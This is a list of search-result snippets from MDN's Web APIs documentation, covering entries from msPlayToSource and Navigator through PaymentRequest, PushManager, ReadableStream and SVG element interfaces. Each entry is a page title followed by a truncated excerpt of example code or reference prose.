msPlayToPreferredSourceUri - Web APIs
example <video src="http://www.contoso.com/videos/video.mp4" msplaytopreferredsourceuri="http://www.contoso.com/catalogid=1234" /> var video = document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection t...
msPlayToSource - Web APIs
example <video id="videoplayer" src="http://www.contoso.com/clip.mp4" controls autoplay /> <script type="text/javascript"> // step 1: obtain playtomanager object for app’s current view.
MutationObserver - Web APIs
mutation observer & customize resize event listener & demo https://codepen.io/webgeeker/full/yjrzgg/ example the following example was adapted from this blog post.
NavigationPreloadManager - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Navigation Timing API - Web APIs
concepts and usage you can use the navigation timing api to gather performance data on the client side, which you can then transmit to a server using xmlhttprequest or other techniques.
Navigator.cookieEnabled - Web APIs
for example, chrome 80+ does not allow creating cookies with samesite=none attribute, unless they are created over https and with secure attribute.
Navigator.doNotTrack - Web APIs
the value of the property reflects that of the dnt http header, i.e.
Navigator.msLaunchUri() - Web APIs
the mslaunchuri() method does not support http, secure hypertext transfer protocol (https), file transfer protocol (ftp), file, res, javascript, or microsoft visual basic scripting edition (vbscript) protocols.
Navigator.registerContentHandler() - Web APIs
example navigator.registercontenthandler( "application/vnd.mozilla.maybe.feed", "http://www.example.tld/?foo=%s", "my feed reader" ); notes for firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml mime types are supported.
Navigator.share() - Web APIs
WebAPINavigatorshare
the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.textcontent = 'mdn shared successfully' } catch(err) { resultpara.textcontent = 'error: ' + err } }); s...
Navigator - Web APIs
WebAPINavigator
navigator.sendbeacon() used to asynchronously transfer a small amount of data using http from the user agent to a web server.
NavigatorLanguage.languages - Web APIs
the accept-language http header in every http request from the user's browser uses the same value for the navigator.languages property except for the extra qvalues (quality values) field (e.g.
Online and offline events - Web APIs
kground: red; } and the corresponding htmlxxx when mochitests for this are created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>this is a test</p> here's the live result notes if the api isn't implemented in the browser, you can use other signals to detect if you are offline including using service workers and responses from xmlhttprequest.
Node.getRootNode() - Web APIs
WebAPINodegetRootNode
(see the full source code): <!-- source: https://github.com/jserz/js_piece/blob/master/dom/node/getrootnode()/demo/getrootnode.html --> <div class="js-parent"> <div class="js-child"></div> </div> <div class="js-shadowhost"></div> <script> // works on chrome 54+,opera 41+ var parent = document.queryselector('.js-parent'), child = document.queryselector('.js-child'), shadowhost = document.queryselector('.js-shadowhost'); ...
Node.isConnected - Web APIs
WebAPINodeisConnected
nsition: 0.6s all; positions: absolute; bottom: 20px; left: 10px; z-index: 3 } `; // attach the created style element to the shadow dom shadow.appendchild(style); console.log(style.isconnected); // returns true polyfill node.isconnected can be polyfilled with the following code for ie10 and edgehtml: /* * node.isconnected polyfill for ie and edgehtml * 2020-02-04 * * by eli grey, https://eligrey.com * public domain.
Node.isDefaultNamespace() - Web APIs
example var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var el = document.getelementsbytagnamens(xulns, 'textbox')[0]; alert(el.isdefaultnamespace(xulns)); // true specifications specification status comment domthe definition of 'node: isdefaultnamespace' in that specification.
Node - Web APIs
WebAPINode
in later versions, html elements are in the http://www.w3.org/1999/xhtml/ namespace in both html and xml trees.
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Notification.onclick - Web APIs
examples in the following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.preventdefault(); // prevent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that specification.
NotificationEvent - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using the Notifications API - Web APIs
https), and you can no longer allow notification permissions to be requested from cross-origin <iframe>s.
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
OfflineAudioContext.startRendering() - Web APIs
line-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.start(); //source.loop = true; offlinectx.star...
OfflineAudioContext - Web APIs
line-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.start(); //source.loop = true; offlinectx.star...
ParentNode.append() - Web APIs
WebAPIParentNodeappend
let parent = document.createelement("div") with(parent) { append("foo") } // referenceerror: append is not defined polyfill you can polyfill the append() method in internet explorer 9 and higher with the following code: // source: https://github.com/jserz/js_piece/blob/master/dom/parentnode/append()/append().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('append')) { return; } object.defineproperty(item, 'append', { configurable: true, enumerable: true, writable: true, value: function append() { var argarr = array.prototype.slice.call(arguments), ...
ParentNode.prepend() - Web APIs
var parent = document.createelement("div"); with(parent) { prepend("foo"); } // referenceerror: prepend is not defined polyfill you can polyfill the prepend() method if it's not available: // source: https://github.com/jserz/js_piece/blob/master/dom/parentnode/prepend()/prepend().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('prepend')) { return; } object.defineproperty(item, 'prepend', { configurable: true, enumerable: true, writable: true, value: function prepend() { var argarr = array.prototype.slice.call(arguments...
PasswordCredential.additionalData - Web APIs
navigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
PasswordCredential - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create first path and add a rectangle let p1 = new path2d(); p1.rect(0, 0, 100, 150); // create second path and add a rectangle let p2 = new path2d(); p2.rect(0, 0, 100, 75); // create transformation matrix that moves 200 points to the right let m = document.createelementns('http://www.w3.org/2000/svg', 'svg').createsvgmatrix(); m.a = 1; m.b = 0; m.c = 0; m.d = 1; m.e = 200; m.f = 0; // add second path to the first path p1.addpath(p2, m); // draw the first path ctx.fill(p1); result specifications specification status comment html living standardthe definition of 'path2d.addpath()' in that specification.
PaymentAddress.toJSON() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentAddress - Web APIs
const json = response.tojson(); const httpresponse = await fetch("/pay/", { method: "post", body: json }); const result = httpresponse.ok ?
PaymentMethodChangeEvent.methodDetails - Web APIs
request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
PaymentMethodChangeEvent.methodName - Web APIs
request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
PaymentRequest.abort() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.onpaymentmethodchange - Web APIs
examples an example payment method change handler is shown below; this example handles changes made to the payment method when using apple pay, specifically: request.onpaymentmethodchange = ev => { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "store": // do apple pay specific handling for store card...
PaymentRequest.onshippingaddresschange - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.onshippingoptionchange - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest: paymentmethodchange event - Web APIs
ons); paymentrequest.addeventlistener("paymentmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like this: handlepaymentchange = event => { const detailsupdate = {}; if (event.methodname === "https://apple.com/apple-pay") { const servicefeeinfo = calculateservicefee(event.methoddetails); object.assign(detailsupdate, servicefeeinfo); } event.updatewith(detailsupdate); }, false); this begins by looking at the event's methodname property; if that indicates that the user is trying to use apple pay, we pass the methoddetails into a function called calculateservicefee(), which we ...
PaymentRequest.shippingAddress - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.shippingOption - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.shippingType - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.complete() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.details - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.payerEmail - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.payerName - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.requestId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.shippingAddress - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.shippingOption - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
performance.clearResourceTimings() - Web APIs
example function load_resource() { var image = new image(); image.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; } function clear_performance_timings() { if (performance === undefined) { log("browser does not support web performance"); return; } // create a resource timing performance entry by loading an image load_resource(); var supported = typeof performance.clearresourcetimings == "function"; if (supported) { console.log("...
Performance.timeOrigin - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PerformanceLongTaskTiming.attribution - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PerformanceLongTaskTiming - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PerformanceNavigationTiming - Web APIs
performancenavigationtiming.responsestart read only a domhighrestimestamp representing the time immediately after the user agent's http parser receives the first byte of the response from relevant application caches, or from local resources or from the server.
PerformanceResourceTiming.fetchStart - Web APIs
if there are http redirects the property returns the time immediately before the user agent starts to fetch the final resource in the redirection.
PerformanceResourceTiming.initiatorType - Web APIs
if the initiator is a xmlhttprequest object, the property returns "xmlhttprequest".
PerformanceResourceTiming.redirectEnd - Web APIs
when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned.
PerformanceResourceTiming.redirectStart - Web APIs
if there are http redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource, this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned.
PerformanceTiming.fetchStart - Web APIs
the legacy performancetiming.fetchstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the browser is ready to fetch the document using an http request.
PerformanceTiming.redirectEnd - Web APIs
the legacy performancetiming.redirectend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the last http redirect is completed, that is when the last byte of the http response has been received.
PerformanceTiming.redirectStart - Web APIs
the legacy performancetiming.redirectstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the first http redirect starts.
Permissions - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities.fillLightMode - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities.imageHeight - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
imageWidth - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities.redEyeReduction - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PointerEvent.getCoalescedEvents() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Pointer Lock API - Web APIs
(from https://w3c.github.io/pointerlock/#extensions-to-the-element-interface) pointerlockelement and exitpointerlock() the pointer lock api also extends the document interface, adding both a new property and a new method.
ProgressEvent.lengthComputable - Web APIs
syntax flag = progressevent.lengthcomputable specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
PublicKeyCredentialCreationOptions.rp - Web APIs
examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the ...
PublicKeyCredentialCreationOptions.user - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); sp...
PublicKeyCredentialCreationOptions - Web APIs
examples // some examples of cose algorithms const cose_alg_ecdsa_w_sha256 = -7; const cose_alg_ecdsa_w_sha512 = -36; var createcredentialoptions = { // format of new credentials is publickey publickey: { // relying party rp: { name: "example corp", id: "login.example.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge from the server challenge: new uint8array(26), // user user: { id: new uint8array(16), name: "john.p.smith@example.com", displayname: "john p.
PushEvent.PushEvent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushManager.hasPermission() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushManager.subscribe() - Web APIs
{ uservisibleonly: true, applicationserverkey: applicationserverkey }; serviceworkerregistration.pushmanager.subscribe(options).then( function(pushsubscription) { console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
PushManager.supportedContentEncodings - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushManager - Web APIs
ator.serviceworker.register('serviceworker.js').then( function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
PushMessageData.arrayBuffer() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushMessageData.blob() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushMessageData.json() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushMessageData.text() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushRegistrationManager - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.expirationTime - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.getKey() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.options - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.subscriptionId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
RTCIdentityErrorEvent.loginUrl - Web APIs
syntax var loginurl = event.loginurl; event.loginurl = "https://developer.mozilla.org/fakeurl"; example pc.onidpassertionerror = function( ev ) { alert("the idp requested an authentication" + " to be performed at th3 url '" + ev.url + "'."); } ...
RTCPeerConnection.getStreamById() - Web APIs
// from: https://bugs.chromium.org/p/chromium/issues/detail?id=698163&desc=5#c10 rtcpeerconnection.prototype.getstreambyid = function(id) { try { var localstreams = this.getlocalstreams(); var remotestreams = this.getremotestreams(); var i; for (i = 0; i < localstreams.length; i++) { if (localstreams[i].id == id) return localstreams[i]; } for (i = 0; i < remotestreams.leng...
RTCRtpContributingSource.source - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
RTCRtpReceiver.track - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ReadableStream.cancel() - Web APIs
var searchterm = "service workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var caseinsensitive = true; var url = 'https://html.spec.whatwg.org/'; console.log(`searching '${url}' for '${searchterm}'`); fetch(url).then(response => { console.log('received headers'); var decoder = new textdecoder(); var reader = response.body.getreader(); var tomatch = caseinsensitive ?
ReadableStream - Web APIs
fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.read().then(({ done, value }) => { // is there no more data to read?
ReadableStreamDefaultReader - Web APIs
fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return reader.read().then(({ done, value }) => { // is there no more data to read?
Report.url - Web APIs
WebAPIReporturl
"https://www.example.com/cats.html" console.log(firstreport.url); }, options); specifications specification status comment reporting apithe definition of 'report.url' in that specification.
Report - Web APIs
WebAPIReport
by sending requests to the endpoints defined via the report-to http header.
Reporting API - Web APIs
the report-to http header is used to specify details about the different endpoints that a user-agent has available to it for delivering reports to.
Request() - Web APIs
WebAPIRequestRequest
errors type description typeerror since firefox 43, request() will throw a typeerror if the url has credentials, such as http://user:password@example.com.
Request.referrerPolicy - Web APIs
for more information and possible values, see the referrer-policy http header page.
Request.url - Web APIs
WebAPIRequesturl
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
RequestDestination - Web APIs
navigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more.
Response() - Web APIs
WebAPIResponseResponse
headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for a reference).
Response.redirect() - Web APIs
WebAPIResponseredirect
example responseobj.redirect('https://www.example.com', 302); specifications specification status comment fetchthe definition of 'redirect()' in that specification.
Response - Web APIs
WebAPIResponse
response.trailers a promise resolving to a headers object, associated with the response with response.headers for values of the http trailer header.
SVGAElement.target - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedAngle - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedBoolean - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedEnumeration - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedInteger - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedLength - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedLengthList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedNumber - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedNumberList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedPoints - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedPreserveAspectRatio - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedRect - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedString.animVal - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedString.baseVal - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedString - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedTransformList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimationElement: beginEvent event - Web APIs
bubbles no cancelable no interface timeevent event handler property onbegin examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } ...
SVGAnimationElement: endEvent event - Web APIs
bubbles no cancelable no interface timeevent event handler property onend examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <button>stop animation</button> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: ...
SVGAnimationElement: repeatEvent event - Web APIs
bubbles no cancelable no interface timeevent event handler property onrepeat examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } ...
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
SVGEllipseElement - Web APIs
example svg content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="100" rx="100" ry="60" id="ellipse" onclick="outputsize();"/> </svg> javascript content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry.baseval...
SVGGeometryElement.isPointInFill() - Web APIs
example svg <svg viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinfill(new dompoint(10, 10))); // poi...
SVGGeometryElement.isPointInStroke() - Web APIs
example svg <svg viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> <circle cx="83" cy="17" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', ci...
SVGGraphicsElement: copy event - Web APIs
example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 100 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getel...
getBBox() - Web APIs
example html <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <g id="group_text_1"> <text x="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- shows boundingclientrect in red --> <rect id="rect_...
SVGGraphicsElement: paste event - Web APIs
example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript...
SVGImageElement.decoding - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGLengthList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGNumberList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGPreserveAspectRatio - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
The 'X' property - Web APIs
its syntax is the same as that for <length> // rect draws a rectangle with upper left-hand corner at x,y, with width w, and height h, with optional style // standard reference: http://www.w3.org/tr/svg11/shapes.html#rectelement func (svg *svg) rect(x float64, y float64, w float64, h float64, s ...string) { svg.printf(`<rect %s %s`, dim(x, y, w, h, svg.decimals), endstyle(s, emptyclose)) } ​ ...
SVGRectElement - Web APIs
(changing the color of the rect interface on every click) svg content <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect width="300" height="100" id="myrect" onclick="dorectclick()" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /> <text x="60" y="40" fill="white" font-size="40" onclick="dorectclick();">click me</text> </svg> javascript content function dorectclick(){ var myrect = document.getelementbyid('myrect'); var r = math.floor(mat...
SVGStylable - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGTransform - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGTransformable - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.angle - Web APIs
